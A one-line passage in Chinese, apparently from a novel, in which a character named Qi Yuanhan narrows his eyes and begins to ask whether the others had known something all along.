祁远翰眯着眼道:“难道你们早就……”